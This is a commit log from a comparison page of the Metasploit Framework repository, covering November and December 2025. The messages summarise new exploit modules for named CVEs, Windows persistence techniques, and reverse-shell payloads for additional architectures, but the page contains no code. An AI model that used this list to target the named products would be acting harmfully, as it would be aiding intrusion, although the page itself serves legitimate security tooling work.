Compare commits

...

1250 Commits

Author SHA1 Message Date
Spencer McIntyre d4eba39b1d Merge pull request #20800 from adfoster-r7/add-autocheck-vulnerability-logic
Add autocheck report_vuln logic
2025-12-22 15:58:18 -05:00
jenkins-metasploit f743b42353 automatic module_metadata_base.json update 2025-12-22 20:06:27 +00:00
Spencer McIntyre fba6040445 Merge pull request #20781 from jbx81-1337/fix/remove-ppc
remove ppc meterpreter
2025-12-22 14:56:48 -05:00
Spencer McIntyre 68965f667e Remove the ppc64le adapters
This is dead code now. We don't have any PPC64LE payloads.
2025-12-22 14:27:09 -05:00
adfoster-r7 34ceae4e2c Add autocheck report_vuln logic 2025-12-22 13:09:32 +00:00
jenkins-metasploit 1904145225 automatic module_metadata_base.json update 2025-12-19 23:51:36 +00:00
Brendan 3015c9f962 Merge pull request #20792 from sfewer-r7/hpe_oneview_rce
Add unauth RCE exploit module for HPE OneView (CVE-2025-37164)
2025-12-19 17:41:51 -06:00
jenkins-metasploit cd31acae15 automatic module_metadata_base.json update 2025-12-19 22:42:56 +00:00
Brendan b12ebc95c0 Merge pull request #20754 from h00die/assist_tech
assistive technology persistence
2025-12-19 16:33:21 -06:00
h00die 5ac586a788 Update modules/exploits/windows/persistence/assistive_technology.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2025-12-19 14:52:34 -05:00
sfewer-r7 d40a35acdb the version logic changes, update the docs 2025-12-19 15:48:07 +00:00
sfewer-r7 0c947d05ab add in the AKB analysis 2025-12-19 15:38:43 +00:00
sfewer-r7 5c6c8a3956 better check result given we have the version string 2025-12-19 15:38:27 +00:00
sfewer-r7 a4dba96712 add in the HPE OneView exploit 2025-12-19 15:30:53 +00:00
jenkins-metasploit 2bb30ba7a3 automatic module_metadata_base.json update 2025-12-18 22:13:06 +00:00
Brendan 6c4a61fa42 Merge pull request #20761 from Chocapikk/acf-extended-rce
Add WordPress ACF Extended unauthenticated RCE exploit (CVE-2025-13486)
2025-12-18 16:03:06 -06:00
h00die d15d4ca5dc .exe guard clause for assistive_tech persistence 2025-12-18 16:17:50 -05:00
jenkins-metasploit 019ac75f1b Bump version of framework to 6.4.104 2025-12-18 03:35:46 +00:00
jenkins-metasploit ecfdec95de automatic module_metadata_base.json update 2025-12-17 23:32:14 +00:00
adfoster-r7 4f13416117 Merge pull request #20787 from zeroSteiner/fix/payload-cache-sizes/2025-12-17
Update nodejs cache sizes
2025-12-17 23:22:26 +00:00
adfoster-r7 3b8c3d3007 Merge pull request #20771 from zeroSteiner/feat/lib/preferred-payloads
Update the payload preferences
2025-12-17 22:46:05 +00:00
Spencer McIntyre 05479c022a Update nodejs cache sizes 2025-12-17 17:33:51 -05:00
adfoster-r7 b3f3b82f36 Merge pull request #20783 from adfoster-r7/update-pro-versions
Update Pro versions
2025-12-17 22:29:25 +00:00
adfoster-r7 375ff5e9da Update Pro versions 2025-12-17 13:41:31 +00:00
jbx81-1337 17ea7f0e53 fix: remove ppc meterpreter from payloads_spec 2025-12-16 11:19:45 +01:00
jbx81-1337 48c21f5c45 fix: remove broken ppc meterpreters 2025-12-16 11:17:07 +01:00
jenkins-metasploit 040179cf40 automatic module_metadata_base.json update 2025-12-16 00:04:05 +00:00
Spencer McIntyre 74774783fc Merge pull request #20773 from jheysel-r7/fix/react2shell_targets
Change react2shell default encoder and payload
2025-12-15 18:55:09 -05:00
Jack Heysel 0589121fb9 Update payload options 2025-12-15 18:52:38 -05:00
jheysel-r7 ff188b8a5e Update regex
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-12-15 08:08:54 -08:00
cgranleese-r7 ee6d594dd1 Merge pull request #20777 from rapid7/revert-20424-enh/MS-9930/vuln_report
Revert "Vulnerability Report Enhancement"
2025-12-15 13:00:22 +00:00
cgranleese-r7 c35537252f Revert "Vulnerability Report Enhancement" 2025-12-15 12:40:02 +00:00
cgranleese-r7 3936fc7640 Merge pull request #20424 from cdelafuente-r7/enh/MS-9930/vuln_report
Vulnerability Report Enhancement
2025-12-15 11:51:27 +00:00
Christophe De La Fuente fbea976e2f Bump metasploit_data_models version to 6.0.11 2025-12-15 12:36:51 +01:00
Spencer McIntyre 3dc70b751a Report the ICertPassage protocol using the new API 2025-12-15 12:36:51 +01:00
Christophe De La Fuente 3a6eec5691 Fix deleting services with services -d 2025-12-15 12:36:51 +01:00
Christophe De La Fuente 09e7bff7f5 Code review 2025-12-15 12:36:50 +01:00
Christophe De La Fuente 40ac35c02a Vulnerability Report enhancement
- update `#report_service` and `#report_vuln`
- update vulnerability report when a session is established
- update CheckCode and `#cmd_check` to report a vulnerability when
  Vulnerable checkcode is returned
- update `vulns` and `services` commands to display the `resource` and
  parent services
- specs
2025-12-15 12:36:50 +01:00
cgranleese-r7 861700b1f6 Merge pull request #20776 from cgranleese-r7/update-macos-runner
Updates macos runners
2025-12-15 11:26:56 +00:00
cgranleese-r7 afcfd1bbc5 Updates macos runners 2025-12-15 10:16:53 +00:00
Jack Heysel ca2ac75e16 Change react2shell default encoder 2025-12-12 15:22:34 -08:00
Spencer McIntyre 9cd49466e8 Update the payload preferences 2025-12-12 15:29:37 -05:00
jenkins-metasploit 05fba0ad8f automatic module_metadata_base.json update 2025-12-12 00:21:44 +00:00
jheysel-r7 388a967101 Merge pull request #20749 from nakkouchtarek/grav-ssti-rce
Add Grav CMS Twig SSTI Sandbox Bypass RCE Exploit Module & Documentation
2025-12-11 16:13:09 -08:00
jenkins-metasploit 7ca43c621b automatic module_metadata_base.json update 2025-12-11 19:19:18 +00:00
jheysel-r7 33197bd59c Merge pull request #20713 from Chocapikk/nable
Add N-able N-Central authentication bypass and XXE scanner module (CVE-2025-9316, CVE-2025-11700)
2025-12-11 11:10:48 -08:00
Tarek Nakkouch a20e2dfa6e Use send_request_cgi! for automatic redirect handling 2025-12-11 20:03:17 +01:00
Tarek Nakkouch 028aa2f544 Wrap zlib require in begin/rescue block for proper error handling 2025-12-11 19:53:02 +01:00
Tarek Nakkouch df9f546d01 Use HttpClientTimeout datastore option instead of hardcoded timeout value 2025-12-11 19:52:16 +01:00
Tarek Nakkouch 80f60b431c Set default value for FORM_NAME option and remove fallback check 2025-12-11 19:45:24 +01:00
Valentin Lobstein 35d7b2e334 Improve file content parsing in extract_file_contents method 2025-12-11 18:57:18 +01:00
cgranleese-r7 1523d01a8d Merge pull request #20759 from zeroSteiner/fix/ldap-acceptance/1
Drop the ldap_esc_vulnerable_cert_finder tests
2025-12-11 16:30:26 +00:00
jenkins-metasploit 4d5996a5ff automatic module_metadata_base.json update 2025-12-11 13:06:50 +00:00
cgranleese-r7 f7abf967a6 Merge pull request #20743 from zeroSteiner/fix/mssql-encryption-guard
Remove the TDSENCRYPTION Guard Clause
2025-12-11 12:58:09 +00:00
jenkins-metasploit 0384917038 Bump version of framework to 6.4.103 2025-12-11 10:24:16 +00:00
jenkins-metasploit c8773660fb automatic module_metadata_base.json update 2025-12-10 17:05:19 +00:00
jheysel-r7 0c921ea2e7 Merge pull request #20725 from Chocapikk/magento
Add Magento SessionReaper (CVE-2025-54236) exploit module
2025-12-10 08:56:47 -08:00
jenkins-metasploit ba258777f2 automatic module_metadata_base.json update 2025-12-10 16:45:52 +00:00
jheysel-r7 d86c5f0908 Merge pull request #20746 from Chocapikk/king-addons
Add WordPress King Addons privilege escalation exploit (CVE-2025-8489)
2025-12-10 08:37:11 -08:00
jenkins-metasploit 2b58dec0f3 automatic module_metadata_base.json update 2025-12-10 13:11:54 +00:00
Diego Ledda 27557e149d Merge pull request #20682 from bcoles/loongarch64
Add support for LoongArch64 payloads
2025-12-10 08:02:26 -05:00
Diego Ledda efcb07a53f fix: restoring missing end after merge 2025-12-10 13:11:21 +01:00
Diego Ledda d6560b951f Merge branch 'master' into loongarch64 2025-12-10 07:08:40 -05:00
Valentin Lobstein be4c3c1a91 Update modules/exploits/multi/http/wp_king_addons_privilege_escalation.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-12-10 06:07:41 +01:00
Valentin Lobstein fc8f07cf91 Update modules/exploits/multi/http/wp_king_addons_privilege_escalation.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-12-10 06:07:23 +01:00
Valentin Lobstein b4d65afcf5 Add exploit module for WordPress ACF Extended CVE-2025-13486 unauthenticated RCE 2025-12-09 22:02:41 +01:00
jheysel-r7 47771a6789 Merge pull request #20760 from sfewer-r7/fix-55182
fix a typo with the use of CVE-2025-55102, it should be CVE-2025-55182
2025-12-09 10:32:33 -08:00
Valentin Lobstein e9467cd1e3 Clarify file-based session storage requirements and exploit limitations
Co-authored-by: jheysel-r7 <jheysel-r7@users.noreply.github.com>
2025-12-09 19:26:30 +01:00
Valentin Lobstein 6bc2bffd8c Refactor create_admin_user to handle errors internally and remove custom.ini from documentation 2025-12-09 19:20:56 +01:00
Valentin Lobstein 1596d42c6a Update modules/exploits/multi/http/wp_king_addons_privilege_escalation.rb
Co-authored-by: Phil Townes <phil_townes@rapid7.com>
2025-12-09 19:14:44 +01:00
Valentin Lobstein c423ff07c5 Update modules/exploits/multi/http/wp_king_addons_privilege_escalation.rb
Co-authored-by: Phil Townes <phil_townes@rapid7.com>
2025-12-09 19:14:36 +01:00
Valentin Lobstein 17cc68df0f Update documentation/modules/exploit/multi/http/wp_king_addons_privilege_escalation.md
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-12-09 19:14:22 +01:00
jenkins-metasploit 3e3eb12c57 automatic module_metadata_base.json update 2025-12-09 12:15:57 +00:00
Diego Ledda 9489296664 Merge pull request #20758 from msutovsky-r7/payload/ppc/fetch_payloads
Adds PPC reverse payloads to fetch adapters
2025-12-09 07:04:14 -05:00
sfewer-r7 1a8e88c054 fix a typo with the use of CVE-2025-55102, it should be CVE-2025-55182 2025-12-09 09:05:59 +00:00
jenkins-metasploit ba648b3371 automatic module_metadata_base.json update 2025-12-08 23:52:15 +00:00
Brendan caa672231b Merge pull request #20736 from sfewer-r7/fortiweb-exploit-rce-v6-support
Update the FortiWeb exploit module (CVE-2025-64446 + CVE-2025-58034) to target older unsupported versions 6.x
2025-12-08 17:43:49 -06:00
jenkins-metasploit 0e71557829 automatic module_metadata_base.json update 2025-12-08 21:50:27 +00:00
jheysel-r7 66279422d1 Merge pull request #20747 from vognik/2025-55182
Add CVE-2025-55182 / CVE-2025-66478
2025-12-08 13:41:49 -08:00
Spencer McIntyre b9d3780afe Drop the ldap_esc_vulnerable_cert_finder tests 2025-12-08 16:30:49 -05:00
Tarek Nakkouch e45eda6ead Replace gsub with encode_base64 delimiter parameter
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-12-08 19:48:01 +01:00
Martin Sutovsky f8ae3912be Rubocopes 2025-12-08 17:32:28 +01:00
Martin Sutovsky 62d02675ce Adds reverse shell payloads to PPC fetch adapters 2025-12-08 17:31:55 +01:00
jenkins-metasploit 2777178962 automatic module_metadata_base.json update 2025-12-08 15:53:57 +00:00
cpomfret-r7 2a53d9c866 Merge pull request #20704 from dwelch-r7/combine-ssh-login-modules
The module `auxiliary/scanner/ssh/ssh_login_pubkey` has been removed.
Its functionality has been moved into `auxiliary/scanner/ssh/ssh_login`.
2025-12-08 15:44:58 +00:00
Tarek Nakkouch e08c18c720 Remove ARTIFACTS_ON_DISK side effect
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-12-08 15:42:29 +01:00
Tarek Nakkouch 77f4fe9c98 Update module name
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-12-08 15:41:31 +01:00
vognik bdd7cb5365 upgraded payload 2025-12-08 01:32:43 -08:00
Tarek Nakkouch 5fcc33d203 Implement zlib compression before base64 encoding to minimize payload size 2025-12-07 22:25:51 +01:00
Tarek Nakkouch d17dc184bf Strengthen Grav CMS fingerprinting with strict HTML parsing 2025-12-07 17:14:35 +01:00
h00die 42b6a307ac markdown 2025-12-06 19:58:36 -05:00
h00die a2f266068b assistive technology persistence 2025-12-06 13:05:32 -05:00
vognik 1dde12b483 fix naming errors 2025-12-06 02:53:38 -08:00
vognik 38682b5ed6 refactoring 2025-12-05 14:58:59 -08:00
vognik e1982475ca replaced the noisy check method with a silent one 2025-12-05 11:32:07 -08:00
vognik 7b8c08d778 some refactoring 2025-12-05 10:47:06 -08:00
jenkins-metasploit 0fd8f0984e Bump version of framework to 6.4.102 2025-12-05 17:16:16 +00:00
jenkins-metasploit 97c9e8274f automatic module_metadata_base.json update 2025-12-05 16:17:18 +00:00
Diego Ledda 7e48e12ed0 Merge pull request #20716 from bcoles/linux-riscv-prepends
Add Linux RISC-V 32-bit/64-bit prepends
2025-12-05 11:04:24 -05:00
vognik 88309b5a4a add suggestions from @Chocapikk 2025-12-05 08:02:56 -08:00
Diego Ledda d66e93afc0 Merge pull request #20658 from jheysel-r7/feat/mod/cert_details_update
Add Updates to LDAP ESC Vulnerable Cert Finder
2025-12-05 10:55:52 -05:00
Spencer McIntyre c77578dbe8 Merge pull request #20681 from jheysel-r7/fix/test/ldap_whoami_error
Remove ldap_esc_vulnerable_cert_finder acceptance test
2025-12-05 10:55:06 -05:00
vognik 918f474fc6 fixed the nits 2025-12-05 00:47:19 -08:00
vognik 3669e3cdcc add unused code 2025-12-05 00:25:21 -08:00
vognik b6188e6f50 fix target_uri error 2025-12-05 00:12:52 -08:00
vognik baa0a11492 small fixes 2025-12-05 00:11:44 -08:00
vognik 770e63b0d1 add windows documentation 2025-12-05 00:06:58 -08:00
vognik a12431e1a3 add suggestions from @sfewer-r7 2025-12-04 23:58:22 -08:00
Maksim Rogov 5b299a0489 Update modules/exploits/multi/http/react2shell_cve_2025_55102.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2025-12-05 10:10:51 +03:00
Maksim Rogov d9977f31fc Update modules/exploits/multi/http/react2shell_cve_2025_55102.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2025-12-05 10:10:35 +03:00
vognik e51ea0ae23 improve documentation 2025-12-04 23:03:13 -08:00
vognik bff7d0836a change execSync to exec 2025-12-04 22:54:35 -08:00
vognik 23e5f68c87 remove debug 2025-12-04 22:44:23 -08:00
vognik f71a71ab18 add exploit mvp 2025-12-04 22:16:27 -08:00
Jack Heysel 0e2af23287 Add Updates to LDAP ESC Vulnerable Cert Finder
Add CertificateAuthorityRhost to avoid DNS failures
2025-12-04 17:03:36 -08:00
Tarek Nakkouch 3c4fdfcad0 Add Grav CMS Twig SSTI Sandbox Bypass RCE Exploit Module (CVE-2025-66294) 2025-12-05 00:01:56 +01:00
vognik eb33e08efa Add Documentation 2025-12-04 05:48:26 -08:00
vognik 3086dac5a1 Add CVE-2025-55182 / CVE-2025-66478 Scanner 2025-12-04 05:21:09 -08:00
jenkins-metasploit adc3d2e175 automatic module_metadata_base.json update 2025-12-04 12:05:42 +00:00
Diego Ledda 4d52e22480 Merge pull request #20720 from Chocapikk/wp-ai-engine
Add WordPress AI Engine MCP RCE exploit (CVE-2025-11749)
2025-12-04 12:56:04 +01:00
Valentin Lobstein 5781e5ba7d Update reference URL 2025-12-04 01:52:25 +01:00
Valentin Lobstein 296e931b7d Fix WordPress lab permissions in documentation 2025-12-04 01:39:25 +01:00
Valentin Lobstein b3fc1b05e5 Add WordPress King Addons privilege escalation exploit (CVE-2025-8489) 2025-12-04 01:37:40 +01:00
jenkins-metasploit 81a1808b5d automatic module_metadata_base.json update 2025-12-03 21:21:03 +00:00
Spencer McIntyre 0f795d715e Merge pull request #20741 from SaiSakthidar/remove-cain
Remove CAIN
2025-12-03 16:12:17 -05:00
SaiSakthidar 98dd33a3cd Remove CAIN 2025-12-03 15:42:57 -05:00
Spencer McIntyre 334c599cb3 Remove this guard, it's no longer required 2025-12-03 14:00:17 -05:00
Dean Welch 2de3623274 Combine ssh_login and ssh_login_pubkey modules 2025-12-03 14:48:12 +00:00
jheysel-r7 81e23bdbdd Merge pull request #20677 from zeroSteiner/fix/issue/18745
Support Encrypted MSSQL Sessions
2025-12-02 16:03:31 -08:00
Valentin Lobstein 0ccffdd5ff Fix wp_ai_engine_mcp_rce: handle existing users by updating password via MCP fields API 2025-12-03 00:41:16 +01:00
Spencer McIntyre c425f1519c Support relaying to MSSQL server that require TLS 2025-12-02 16:10:07 -05:00
Spencer McIntyre db1e0187c3 Fix the PostreSQL SSL tests for #starttls method 2025-12-02 16:10:07 -05:00
Spencer McIntyre 66a4aba1ad Remove the old MS-TDS SSL Proxy code 2025-12-02 16:10:07 -05:00
Spencer McIntyre 9c1f545562 Initialize the info for web sockets 2025-12-02 16:10:07 -05:00
Spencer McIntyre d4ba707fa5 Add the new encrypted MsTds channel 2025-12-02 16:10:06 -05:00
Spencer McIntyre dcd3a62e88 Switch to the new fiber relay manager 2025-12-02 16:09:58 -05:00
Spencer McIntyre 3908fd4829 Use the new #starttls method 2025-12-02 16:09:31 -05:00
Spencer McIntyre 8e3a97b3e0 Don't open pass_file if it's blank 2025-12-02 16:09:31 -05:00
jenkins-metasploit ce2dc0bb03 automatic module_metadata_base.json update 2025-12-01 11:53:49 +00:00
Diego Ledda d20345263b Merge pull request #20712 from bcoles/linux-riscv-tcp-reverse-shell
Add Linux RISC-V 32-bit/64-bit TCP reverse shell payloads
2025-12-01 12:43:42 +01:00
Valentin Lobstein 3cc10301fd Simplify SSL configuration by passing ssl option directly to start_service instead of modifying datastore 2025-11-28 21:54:07 +01:00
sfewer-r7 795c38c524 Combine the 7.x and 6.x targets together, as Linux payloads work on 7.x also, so this target is Unix and Linux. This leaves the 8.x target Unix only due to IMA appraisal. 2025-11-28 10:12:02 +00:00
jenkins-metasploit 3547984092 automatic module_metadata_base.json update 2025-11-28 06:51:42 +00:00
msutovsky-r7 d7c307bb69 Land #20709, adds module for Twonky Server Authentication Bypass (CVE-2025-13315,CVE-2025-13316)
Auxiliary module for CVE-2025-13315/CVE-2025-13316 - Twonky Server Log Leak Authentication Bypass
2025-11-28 07:35:30 +01:00
Valentin Lobstein b1b41017c1 Use CheckCode constants instead of string comparison in check method 2025-11-27 22:53:32 +01:00
Valentin Lobstein 4d24789d04 Make USERNAME, PASSWORD, and EMAIL datastore options required 2025-11-27 22:52:19 +01:00
Valentin Lobstein 1b7acbf684 Add Advanced Options section to documentation (XXETriggerTimeout and DTD_PROTO) 2025-11-27 22:22:01 +01:00
Valentin Lobstein 1e4527d833 Synchronize local server SSL with DTD_PROTO option instead of forcing HTTP 2025-11-27 22:11:50 +01:00
Valentin Lobstein dd06d4c120 Replace sleep(2) with retry_until_truthy for XXE trigger and add configurable timeout option 2025-11-27 21:37:39 +01:00
Valentin Lobstein 9647236b42 Make SSL configurable via datastore and improve comment accuracy 2025-11-27 21:35:05 +01:00
Valentin Lobstein f4ec54f25e Fix: Make FILE and LOG_PATH required options and improve formatting 2025-11-27 21:33:09 +01:00
sfewer-r7 014312873c get both unix and linux payloads working on 6.x. Add a note to the docs about setting a gateway. 2025-11-27 20:28:44 +00:00
jenkins-metasploit f9b61890b5 automatic module_metadata_base.json update 2025-11-27 14:26:36 +00:00
msutovsky-r7 b6330acb12 Land #20718, adds module for Monsta FTP RCE (CVE-2025-34299)
Add Monsta FTP downloadFile RCE (CVE-2025-34299)
2025-11-27 15:16:58 +01:00
jenkins-metasploit 99533752f3 Bump version of framework to 6.4.101 2025-11-27 13:52:30 +00:00
Martin Sutovsky 1153f3cf6a Fixing regex 2025-11-27 14:33:57 +01:00
sfewer-r7 f5e8aa83be add in exploit support for FortiWeb versions 6.x which are vulnerable, but no longer under support from the vendor. 2025-11-27 12:43:19 +00:00
jenkins-metasploit 205221fba9 automatic module_metadata_base.json update 2025-11-27 00:33:37 +00:00
adfoster-r7 4c5d086aeb Merge pull request #20731 from adfoster-r7/fix-broken-module-metadata
Fix broken module metadata
2025-11-27 00:07:11 +00:00
adfoster-r7 db3ac6acc6 Fix broken module metadata 2025-11-26 22:51:40 +00:00
Valentin Lobstein c8ec6e2e0d Fix magento_sessionreaper: use server-returned upload path when available, fallback to default path 2025-11-26 19:11:21 +01:00
Valentin Lobstein 819b259b4c Apply reviewer suggestions 2025-11-26 18:27:52 +01:00
Valentin Lobstein 9661bfe252 Update modules/exploits/multi/http/monsta_ftp_downloadfile_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-11-26 17:54:12 +01:00
Valentin Lobstein e3a2148660 Update modules/exploits/multi/http/monsta_ftp_downloadfile_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-11-26 17:53:40 +01:00
Valentin Lobstein 278f3c99d2 Add error handling for upload failures in magento_sessionreaper module 2025-11-26 00:56:05 +01:00
Valentin Lobstein 4ff9fd4542 Apply reviewer suggestions and remove unnecessary Options section from documentation 2025-11-25 23:48:39 +01:00
bcoles c467330892 Merge remote-tracking branch 'upstream/master' into linux-riscv-tcp-reverse-shell 2025-11-26 09:22:55 +11:00
jenkins-metasploit 7325d2a265 automatic module_metadata_base.json update 2025-11-25 20:23:49 +00:00
Brendan e998b91aee Merge pull request #20717 from sfewer-r7/fortiweb-exploit-rce
Add exploit module for Fortinet FortiWeb (CVE-2025-64446 + CVE-2025-58034)
2025-11-25 14:14:31 -06:00
jenkins-metasploit 766150ae27 automatic module_metadata_base.json update 2025-11-25 20:09:05 +00:00
Brendan 1912fe2a95 Merge pull request #20702 from Zedeldi/igel-os-modules
IGEL OS modules
2025-11-25 13:59:44 -06:00
jenkins-metasploit 3dfa649591 automatic module_metadata_base.json update 2025-11-25 17:20:50 +00:00
Diego Ledda 3b799a50e8 Merge pull request #20703 from bcoles/linux-riscv-chmod-payloads
Add Linux RISC-V chmod payloads
2025-11-25 18:10:57 +01:00
jenkins-metasploit 2eb71ad31c automatic module_metadata_base.json update 2025-11-25 15:33:53 +00:00
msutovsky-r7 47b742ba0c Land #20482, fixes bug in HTTP-based login scanners
Fix HTTP-based login scanners when using SSL with custom port
2025-11-25 16:23:39 +01:00
adfoster-r7 7e454475e4 Merge pull request #20721 from cpomfret-r7/fix-nexpose-api-error-when-site-has-credential
Fix issue when scanning via Nexpose plugin when Site has Credential
2025-11-25 13:03:10 +00:00
sfewer-r7 fa03ac8b66 on 7.4.8 the command nohup is not available. we must execute our payload in a new session, so we use a python stub to essentially call setsid. This has been tested to work on both 8.0.1 and 7.4.8. Teh payload cmd/unix/reverse_python isnot working as it previously was, so I am removing from the list of confirmed paylaods. The other two, cmd/unix/reverse_bash and cmd/unix/reverse_openssl work fine on both versions 2025-11-25 11:25:41 +00:00
sfewer-r7 8a054b74db improve check logic to actualy parse JSON result for expected reply, tested against 8.0.1 and 7.4.8 2025-11-25 11:22:43 +00:00
Valentin Lobstein be7ad39127 Fix reference URL in documentation to correct Searchlight Cyber research article 2025-11-24 23:26:29 +01:00
Valentin Lobstein 0cc0ea2250 Fix reference URL to correct Searchlight Cyber research article 2025-11-24 23:25:46 +01:00
Valentin Lobstein c89d53ed98 Add FileDropper mixin and register files for automatic cleanup 2025-11-24 22:06:46 +01:00
Valentin Lobstein 39c20a97d0 Fix PHP syntax error in payload stub - add quotes around POST parameter 2025-11-24 21:18:50 +01:00
Valentin Lobstein 9ef10eeea8 Update documentation with complete Docker lab setup files 2025-11-24 21:12:14 +01:00
Valentin Lobstein 1623660bec Add Magento SessionReaper (CVE-2025-54236) exploit module 2025-11-24 21:04:20 +01:00
jenkins-metasploit ebd5b129bc automatic module_metadata_base.json update 2025-11-24 17:28:24 +00:00
jheysel-r7 4a012dd06a Merge pull request #20637 from zeroSteiner/feat/mod/smb-to-mssql
Add an SMB to MSSQL NTLM Relay module
2025-11-24 09:17:45 -08:00
Zedeldi d1fe17747c Add check methods and update DisclosureDate 2025-11-24 17:12:56 +00:00
Zedeldi 4b2798f357 Correct vulnerable version information 2025-11-24 17:10:51 +00:00
Chris Pomfret f842bb7169 Nexpose plugin - Query nexpose via v3 api when doing scan 2025-11-24 12:15:55 +00:00
Zedeldi ce926fd3d1 Update vulnerable IGEL OS version to < 11.09.310 2025-11-24 11:57:18 +00:00
Zedeldi ffaf43af2f Add writable? and file? checks to write_payload 2025-11-24 11:45:34 +00:00
Zedeldi 933fb7bdf1 Add clean-up information 2025-11-24 11:43:46 +00:00
Zedeldi 002795c5be Update module information in documentation 2025-11-24 11:24:23 +00:00
Zedeldi 0c4d1e70d1 Add support for ARCH_CMD payload 2025-11-24 11:16:22 +00:00
msutovsky-r7 d05f50c802 Land #20693, fixes race condition in reloading extension klasses
fix: preload extension klasses during bootstrap
2025-11-24 09:28:38 +01:00
bcoles 2e000c2b1c Add support for LoongArch64 payloads 2025-11-23 17:22:32 +11:00
bcoles bb5ea49684 Add Linux RISC-V 32-bit/64-bit TCP reverse shell payloads 2025-11-23 16:09:09 +11:00
Valentin Lobstein 2b71c84d80 Improve code quality: simplify methods, use dig, compile regex, remove unnecessary variables 2025-11-23 05:40:49 +01:00
Valentin Lobstein 1a93bf7634 Update disclosure date to 2025-11-04 2025-11-23 05:27:19 +01:00
Valentin Lobstein 080230edd0 Add WordPress AI Engine MCP RCE exploit (CVE-2025-11749) 2025-11-23 03:56:11 +01:00
Valentin Lobstein ad2bf62939 Randomize XXE entity name in N-able N-Central module 2025-11-22 04:39:29 +01:00
Valentin Lobstein 4e02af64cc Fix N-able N-Central XXE module: improve file extraction, combine report methods, fix SSL handling 2025-11-22 04:37:38 +01:00
Valentin Lobstein 8c432302b0 Fix code quality improvements and optimizations 2025-11-22 04:15:57 +01:00
jenkins-metasploit e670167fe1 automatic module_metadata_base.json update 2025-11-21 20:39:02 +00:00
Brendan 21777b8969 Merge pull request #20685 from msutovsky-r7/persistence/windows/notepad++_persistence
Adds notepad++ persistence module for Windows
2025-11-21 14:28:28 -06:00
msutovsky-r7 8f2525aba7 Land #20705, adds modules for Flowise RCEs (CVE-2025-59528, CVE-2025-8943)
Add Flowise RCE exploits (CVE-2025-59528, CVE-2025-8943)
2025-11-21 21:20:22 +01:00
Valentin Lobstein e91086a1d0 Fix disclosure date for CVE-2025-34299 2025-11-21 20:49:34 +01:00
Valentin Lobstein 8cffe50470 Add Monsta FTP downloadFile RCE (CVE-2025-34299) 2025-11-21 20:43:37 +01:00
Valentin Lobstein 8702256ec2 Remove manual substitution and add BadChars for backslash and quote in flowise_js_rce 2025-11-21 19:34:33 +01:00
jenkins-metasploit cb68802c7b Bump version of framework to 6.4.100 2025-11-21 16:45:50 +00:00
sfewer-r7 b8cefb1af9 add nohup when bootstraping the payload to avoid the scenario when the parent dies it tears down our payload child process 2025-11-21 15:54:41 +00:00
Zedeldi da33eed842 Use fail_with instead of a check method 2025-11-21 14:02:05 +00:00
Zedeldi c0a756a751 Verify registry has been written successfully 2025-11-21 13:52:41 +00:00
Zedeldi 425adfa9bf Prefer create_process over cmd_exec for commands with arguments 2025-11-21 13:40:25 +00:00
Zedeldi dc9eddc7a2 Use store_loot for igel_dump_file 2025-11-21 13:22:22 +00:00
Zedeldi b13137886a Add IGEL OS and vulnerability summary to documentation 2025-11-21 13:09:28 +00:00
bcoles a5e3a5ea85 Add Linux RISC-V 32-bit/64-bit prepends 2025-11-21 23:55:05 +11:00
sfewer-r7 aff76622fa add in the unauth RCE exploit module for CVE-2025-64446 + CVE-2025-58034 2025-11-21 12:22:25 +00:00
Martin Sutovsky 098af341f9 Fix payload name escaping 2025-11-21 13:04:52 +01:00
Zedeldi ba702d40ea Remove x86 target and redundant DefaultOptions 2025-11-21 12:04:49 +00:00
Valentin Lobstein 9734a69ae8 Add N-able N-Central authentication bypass and XXE scanner module (CVE-2025-9316, CVE-2025-11700) 2025-11-21 00:18:12 +01:00
Valentin Lobstein 6215da4754 Apply review suggestions: use case/when, improve error handling, simplify code 2025-11-20 22:41:08 +01:00
Valentin Lobstein 8cd32c04ea Update modules/exploits/multi/http/flowise_js_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-11-20 21:55:43 +01:00
Valentin Lobstein db082959f4 Update modules/exploits/multi/http/flowise_custommcp_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-11-20 21:55:20 +01:00
Valentin Lobstein 11c64b8f10 Update lib/msf/core/exploit/remote/http/flowise.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-11-20 21:55:10 +01:00
Spencer McIntyre 000d310914 MSSQL auto auth should look at the domain
If the domain is set, using NTLM where the domain is used, otherwise use
plaintext / sql authentiction.
2025-11-20 13:32:33 -05:00
jenkins-metasploit 93f4775e3a automatic module_metadata_base.json update 2025-11-20 17:42:56 +00:00
Brendan bb728c44d7 Merge pull request #20560 from cdelafuente-r7/feat/mitre/T1021
Add T1021 "Remote Services" MITRE technique and sub-technique references
2025-11-20 11:19:31 -06:00
Martin Sutovsky d904a526ee Shamefully removes pry and pry-byebug 2025-11-20 17:08:28 +01:00
bcoles d510adb13c Add Linux RISC-V chmod payloads 2025-11-21 01:37:12 +11:00
jenkins-metasploit 374074cad5 automatic module_metadata_base.json update 2025-11-20 14:25:18 +00:00
msutovsky-r7 e2097ee1bc Land #20701, adds windows WSL registry persistence module
Windows WSL registry persistence
2025-11-20 15:15:22 +01:00
msutovsky-r7 d79e8a3402 Land #20708, fixes msfdb startup
Fix msfdb startup
2025-11-20 14:36:20 +01:00
msutovsky-r7 19ffa739b7 Land #20711, fixes description in AppendExit datastore option
Msf::Payload::Linux::Prepends: Fix AppendExit description
2025-11-20 11:54:37 +01:00
Martin Sutovsky abaa4e6c7a Fixes cmd_exec call 2025-11-20 11:27:34 +01:00
bcoles eff40ba207 Msf::Payload::Linux::Prepends: Fix AppendExit description 2025-11-20 18:30:44 +11:00
